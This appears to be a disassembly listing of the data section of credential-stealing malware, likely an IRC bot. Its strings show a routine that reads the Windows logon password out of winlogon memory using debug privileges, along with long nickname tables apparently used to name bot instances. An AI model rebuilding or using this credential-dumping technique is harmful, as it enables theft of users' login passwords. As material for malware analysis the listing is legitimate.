		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_437998	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_41705Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 10h
unk_4379D0	db  2Dh	; -		; DATA XREF: sub_416F1A+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_437A2C	dd offset byte_530055	; DATA XREF: sub_416F1A+DCo
		dd offset byte_520045
		dd offset loc_4F0044
		dd offset loc_41004D
		dd offset loc_4E0047+2
		dd 0
off_437A44	dd offset byte_530055	; DATA XREF: sub_416F1A+CEo
		dd offset byte_520045
		dd offset loc_41004D+1
		dd offset byte_45004D
		align 8
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_416F1A+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o
					; sub_416F1A+161o ...
		align 4
unk_437B08	db  2Dh	; -		; DATA XREF: sub_416F1A+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_4170EC+13Eo
		align 10h
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_4170EC+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_4170EC+AFo
		align 4
dword_437B54	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417552+70o
					; sub_4175E9+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_437BA4	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4175E9+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_437BF8	dd offset aQ		; DATA XREF: sub_417ADD+5Cr
					; "q"
		dd offset dword_4387A8
		dd offset aE		; "e"
		dd offset aR		; "r"
; ---------------------------------------------------------------------------
		add	dl, 42h
		add	[edi+eax*4-5587FFBDh], ah
		inc	edx
		add	ah, bl
		retn	42h
; ---------------------------------------------------------------------------
		push	esp
		stosb
		inc	edx
		add	al, bl
		lodsb
		inc	edx
		add	ah, ah
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aD		; "d"
		dd offset dword_4387A0
		dd offset dword_43879C
		dd offset dword_438798
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_438794
		dd offset dword_438790
		dd offset dword_43878C
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset dword_438788
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_438784
		dd offset dword_438780
		dd offset dword_43877C
		dd offset dword_438778
		dd offset dword_438774
		dd offset word_438770
		dd offset dword_43876C
		dd offset aI_0		; "I"
		dd offset dword_438768
		dd offset dword_438764
		dd offset aA_0		; "A"
		dd offset dword_438760
		dd offset dword_43875C
		dd offset dword_438758
		dd offset dword_438754
		dd offset dword_438750
		dd offset dword_43874C
		dd offset dword_438748
		dd offset dword_438744
		dd offset dword_438740
		dd offset dword_43873C
		dd offset dword_438738
		dd offset dword_438734
		dd offset dword_438730
		dd offset word_43872C
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary		; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_4384C4
		dd offset off_4384C0
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_43832C
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_437EF8	dd offset aSex_0	; DATA XREF: sub_417ADD+41r
					; sub_417ADD+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck		; "|suck|"
		dd offset aLuck		; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex		; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuvuF	; "||luvu-f|"
		dd offset aWiked	; "|wiked|"
		dd offset aSick		; "sick}}"
		dd offset aQ8		; "Q8"
		dd offset aQ8A		; "|q8|a"
		dd offset dword_438788
		dd offset aC		; "c"
		dd offset aD		; "d"
		dd offset aE		; "e"
		dd offset dword_4387A0
		dd offset dword_43879C
		dd offset dword_438798
		dd offset aI		; "i"
		dd offset dword_42B500
; ---------------------------------------------------------------------------
		dec	eax
		mov	bl, 42h
		add	[eax-39h], ah
		inc	edx
		add	[edi+eax*4-5337FFBDh], dl
		inc	edx
		add	[ebx+esi*4+42h], cl
		add	ah, bh
		mov	dl, 42h
		add	[edx+ebp*4+42h], dl
		add	al, dh
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_4387A8
		dd offset dword_43878C
		dd offset dword_4387A4
		dd offset dword_438790
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset dword_438790
		dd offset dword_43879C
		dd offset aS_0		; "s"
		dd offset aQ		; "q"
		dd offset off_438148
		dd offset aBbl		; "|bbl"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset a___0		; "_|_"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_438758
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_438788
		dd offset dword_43D128
		dd offset aSleeping	; "Sleeping"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset aFuck		; "Fuck"
		dd offset aFree		; "Free"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_43873C
		dd offset dword_43D128
		dd offset off_438108
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_4380C8
		dd offset dword_4380C4
		dd offset dword_4380BC
		dd offset dword_4380B0
		dd offset dword_4380A8
		dd offset dword_4380A0
		dd offset dword_438098
		dd offset dword_438094
		dd offset dword_438090
dword_438090	dd 7536h		; DATA XREF: ___:0043808Co
dword_438094	dd 7535h		; DATA XREF: ___:00438088o
dword_438098	dd 7C75347Ch, 0		; DATA XREF: ___:00438084o
dword_4380A0	dd 6F79347Bh, 7D75h	; DATA XREF: ___:00438080o
dword_4380A8	dd 7375347Ch, 7Ch	; DATA XREF: ___:0043807Co
dword_4380B0	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438078o
dword_4380BC	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:00438074o
dword_4380C4	dd 6C6F6Ch		; DATA XREF: ___:00438070o
dword_4380C8	dd 746F74h		; DATA XREF: ___:0043806Co
aMofo		db 'mofo',0             ; DATA XREF: ___:00438068o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:00438064o
		align 4
aMuha		db 'muha',0             ; DATA XREF: ___:00438060o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:0043805Co
		align 4
aAha		db 'aha',0              ; DATA XREF: ___:00438058o
aShit		db 'shit',0             ; DATA XREF: ___:00438054o
		align 4
aGurl		db 'gurl',0             ; DATA XREF: ___:00438050o
		align 10h
aGirl_0		db 'GIRL',0             ; DATA XREF: ___:0043804Co
		align 4
off_438108	dd offset loc_594F42	; DATA XREF: ___:00438048o
aFree		db 'Free',0             ; DATA XREF: ___:00438034o
		align 4
aFuck		db 'Fuck',0             ; DATA XREF: ___:00438030o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:00438024o
		align 4
aF_2		db '^^^f^',0            ; DATA XREF: ___:00438018o
		align 10h
aSad		db 'Sad',0              ; DATA XREF: ___:00438014o
aLuvu		db 'LUVU',0             ; DATA XREF: ___:00438010o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:00437FF4o
aBbl		db '|bbl',0             ; DATA XREF: ___:00437FE8o
		align 4
off_438148	dd offset loc_425242	; DATA XREF: ___:00437FE4o
aMuckc		db 'muckc',0            ; DATA XREF: ___:00437FD0o
		align 4
aTruck		db 'truck',0            ; DATA XREF: ___:00437FCCo
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: ___:00437FC8o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: ___:00437FC4o
		align 4
aUi		db 'ui',0               ; DATA XREF: ___:00437FC0o
		align 10h
aSdf		db 'sdf',0              ; DATA XREF: ___:00437FBCo
aRt		db 'rt',0               ; DATA XREF: ___:00437FB8o
		align 4
aGf		db 'gf',0               ; DATA XREF: ___:00437FB4o
		align 4
aTy		db 'ty',0               ; DATA XREF: ___:00437FB0o
		align 10h
aRg		db 'rg',0               ; DATA XREF: ___:00437FACo
		align 4
aHappy		db 'happy',0            ; DATA XREF: ___:00437FA8o
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:00437F88o
		align 10h
aQ8A		db '|q8|a',0            ; DATA XREF: ___:00437F40o
		align 4
aQ8		db 'Q8',0               ; DATA XREF: ___:00437F3Co
		align 4
aSick		db 'sick}}',0           ; DATA XREF: ___:00437F38o
		align 4
aWiked		db '|wiked|',0          ; DATA XREF: ___:00437F34o
aLuvuF		db '||luvu-f|',0        ; DATA XREF: ___:00437F30o
		align 4
aGens		db '{gens|',0           ; DATA XREF: ___:00437F2Co
		align 10h
aSex		db '{sex}',0            ; DATA XREF: ___:00437F28o
		align 4
aHub		db '{hub}',0            ; DATA XREF: ___:00437F24o
		align 10h
aLuck		db '|luck|',0           ; DATA XREF: ___:00437F20o
		align 4
aSuck		db '|suck|',0           ; DATA XREF: ___:00437F1Co
		align 10h
aTot		db '-|tot|',0           ; DATA XREF: ___:00437F18o
		align 4
aWoh		db '|woh|',0            ; DATA XREF: ___:00437F14o
		align 10h
aTambe		db '|tambe|',0          ; DATA XREF: ___:00437F10o
aLag		db 'lag',0              ; DATA XREF: ___:00437F0Co
aBad		db 'bad',0              ; DATA XREF: ___:00437F08o
aTree		db 'tree',0             ; DATA XREF: ___:00437F04o
		align 4
aZex		db 'zex',0              ; DATA XREF: ___:00437F00o
aLez		db 'lez',0              ; DATA XREF: ___:00437EFCo
aSex_0		db 'sex',0              ; DATA XREF: ___:off_437EF8o
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: ___:00437EF4o
		align 10h
aCumhur29	db 'cumhur29',0         ; DATA XREF: ___:00437EF0o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:00437EECo
		align 4
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:00437EE8o
		align 10h
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:00437EE4o
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:00437EE0o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:00437EDCo
		align 4
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:00437ED8o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: ___:00437ED4o
		align 4
aCool30m	db 'cool30m',0          ; DATA XREF: ___:00437ED0o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:00437ECCo
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: ___:00437EC8o
		align 4
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:00437EC4o
		align 10h
aUla		db 'ula',0              ; DATA XREF: ___:00437EC0o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:00437EBCo
aAkden		db 'akden',0            ; DATA XREF: ___:00437EB8o
		align 4
aKoray		db 'KORAY',0            ; DATA XREF: ___:00437EB4o
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: ___:00437EB0o
		align 4
aFirtina	db 'firtina',0          ; DATA XREF: ___:00437EACo
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00437EA8o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:00437EA4o
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00437EA0o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: ___:00437E9Co
		align 10h
aAnkm		db 'ankM',0             ; DATA XREF: ___:00437E98o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: ___:00437E94o
		align 10h
aDevre		db 'devre',0            ; DATA XREF: ___:00437E90o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: ___:00437E8Co
		align 10h
aBirsen		db 'birsen',0           ; DATA XREF: ___:00437E88o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: ___:00437E84o
		align 10h
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:00437E80o
		align 4
off_43832C	dd offset byte_4B5245	; DATA XREF: ___:00437E7Co
aSevda		db 'sevda',0            ; DATA XREF: ___:00437E78o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: ___:00437E74o
		align 10h
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:00437E70o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: ___:00437E6Co
		align 4
aKapk		db 'kapk',0             ; DATA XREF: ___:00437E68o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:00437E64o
		align 4
aHayran		db 'hayran',0           ; DATA XREF: ___:00437E60o
		align 10h
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:00437E5Co
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: ___:00437E58o
		align 4
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:00437E54o
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:00437E50o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: ___:00437E4Co
		align 10h
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:00437E48o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: ___:00437E44o
		align 10h
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:00437E40o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:00437E3Co
		align 4
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:00437E38o
		align 10h
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:00437E34o
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: ___:00437E30o
		align 4
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:00437E2Co
		align 4
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:00437E28o
aHoly		db 'holy',0             ; DATA XREF: ___:00437E24o
		align 4
aFlord		db 'FLoRD',0            ; DATA XREF: ___:00437E20o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: ___:00437E1Co
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:00437E18o
		align 10h
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:00437E14o
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: ___:00437E10o
		align 4
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:00437E0Co
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:00437E08o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: ___:00437E04o
		align 10h
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:00437E00o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:00437DFCo
aArda		db 'arda',0             ; DATA XREF: ___:00437DF8o
		align 10h
aDevran		db 'devran',0           ; DATA XREF: ___:00437DF4o
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:00437DF0o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:00437DECo
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:00437DE8o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:00437DE4o
		align 4
aBogac		db 'bogac',0            ; DATA XREF: ___:00437DE0o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:00437DDCo
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: ___:00437DD8o
		align 10h
off_4384C0	dd offset byte_457441	; DATA XREF: ___:00437DD4o
dword_4384C4	dd 414C5941h, 2Dh	; DATA XREF: ___:00437DD0o
aAlbina		db 'albina',0           ; DATA XREF: ___:00437DCCo
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:00437DC8o
		align 10h
aZack		db 'ZACK',0             ; DATA XREF: ___:00437DC4o
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:00437DC0o
		align 10h
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:00437DBCo
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: ___:00437DB8o
		align 10h
aPelincik	db 'pelincik',0         ; DATA XREF: ___:00437DB4o
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:00437DB0o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: ___:00437DACo
		align 10h
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00437DA8o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:00437DA4o
aAslii		db 'aslii',0            ; DATA XREF: ___:00437DA0o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:00437D9Co
aHaticem	db 'haticem',0          ; DATA XREF: ___:00437D98o
aArzu		db 'ARZU',0             ; DATA XREF: ___:00437D94o
		align 4
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00437D90o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:00437D8Co
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:00437D88o
		align 4
aTekir		db 'tekir',0            ; DATA XREF: ___:00437D84o
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:00437D80o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: ___:00437D7Co
		align 10h
aMelekk		db 'melekk',0           ; DATA XREF: ___:00437D78o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: ___:00437D74o
		align 10h
aMary		db 'MARY',0             ; DATA XREF: ___:00437D70o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: ___:00437D6Co
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:00437D68o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:00437D64o
		align 4
aIrmal		db 'irmal',0            ; DATA XREF: ___:00437D60o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:00437D5Co
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: ___:00437D58o
		align 4
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:00437D54o
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: ___:00437D50o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:00437D4Co
		align 10h
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:00437D48o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:00437D44o
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: ___:00437D40o
aReshma		db 'reshma',0           ; DATA XREF: ___:00437D3Co
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: ___:00437D38o
		align 10h
aGirl		db 'GirL',0             ; DATA XREF: ___:00437D34o
		align 4
aImra		db 'imra',0             ; DATA XREF: ___:00437D30o
		align 10h
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:00437D2Co
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: ___:00437D28o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: ___:00437D24o
		align 10h
aManee		db 'manee',0            ; DATA XREF: ___:00437D20o
		align 4
aTroller	db 'troller',0          ; DATA XREF: ___:00437D1Co
aLuisa		db 'Luisa',0            ; DATA XREF: ___:00437D18o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: ___:00437D14o
		align 4
aRimpy		db 'rimpy',0            ; DATA XREF: ___:00437D10o
		align 4
aJanno		db 'janno',0            ; DATA XREF: ___:00437D0Co
		align 4
aBunty		db 'bunty',0            ; DATA XREF: ___:00437D08o
		align 4
aHeval		db 'heval',0            ; DATA XREF: ___:00437D04o
		align 4
aCme		db 'cme',0              ; DATA XREF: ___:00437D00o
aMarcy		db 'marcy',0            ; DATA XREF: ___:00437CFCo
		align 10h
aTalika		db 'talika',0           ; DATA XREF: ___:00437CF8o
		align 4
aShez		db 'Shez',0             ; DATA XREF: ___:00437CF4o
		align 10h
aKen		db 'ken',0              ; DATA XREF: ___:00437CF0o
aFlexster	db 'flexster',0         ; DATA XREF: ___:00437CECo
		align 10h
aKoko		db 'koko',0             ; DATA XREF: ___:00437CE8o
		align 4
aMale		db 'male',0             ; DATA XREF: ___:00437CE4o
		align 10h
aSwin		db 'swin',0             ; DATA XREF: ___:00437CE0o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:00437CDCo
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:00437CD8o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: ___:00437CD4o
		align 10h
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:00437CD0o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:00437CCCo
aFarooq		db 'farooq',0           ; DATA XREF: ___:00437CC8o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:00437CC4o
		align 4
aM_0:					; DATA XREF: ___:00437CC0o
					; ___:0043800Co
		unicode	0, <M>,0
word_43872C	dw 4Eh			; DATA XREF: sub_419E79+38r
					; ___:00437CBCo
		align 10h
dword_438730	dd 42h			; DATA XREF: ___:00437CB8o
dword_438734	dd 56h			; DATA XREF: ___:00437CB4o
dword_438738	dd 43h			; DATA XREF: ___:00437CB0o
dword_43873C	dd 58h			; DATA XREF: ___:00437CACo
					; ___:00438040o
dword_438740	dd 5Ah			; DATA XREF: ___:00437CA8o
dword_438744	dd 4Ch			; DATA XREF: ___:00437CA4o
dword_438748	dd 4Bh			; DATA XREF: ___:00437CA0o
dword_43874C	dd 4Ah			; DATA XREF: ___:00437C9Co
dword_438750	dd 48h			; DATA XREF: ___:00437C98o
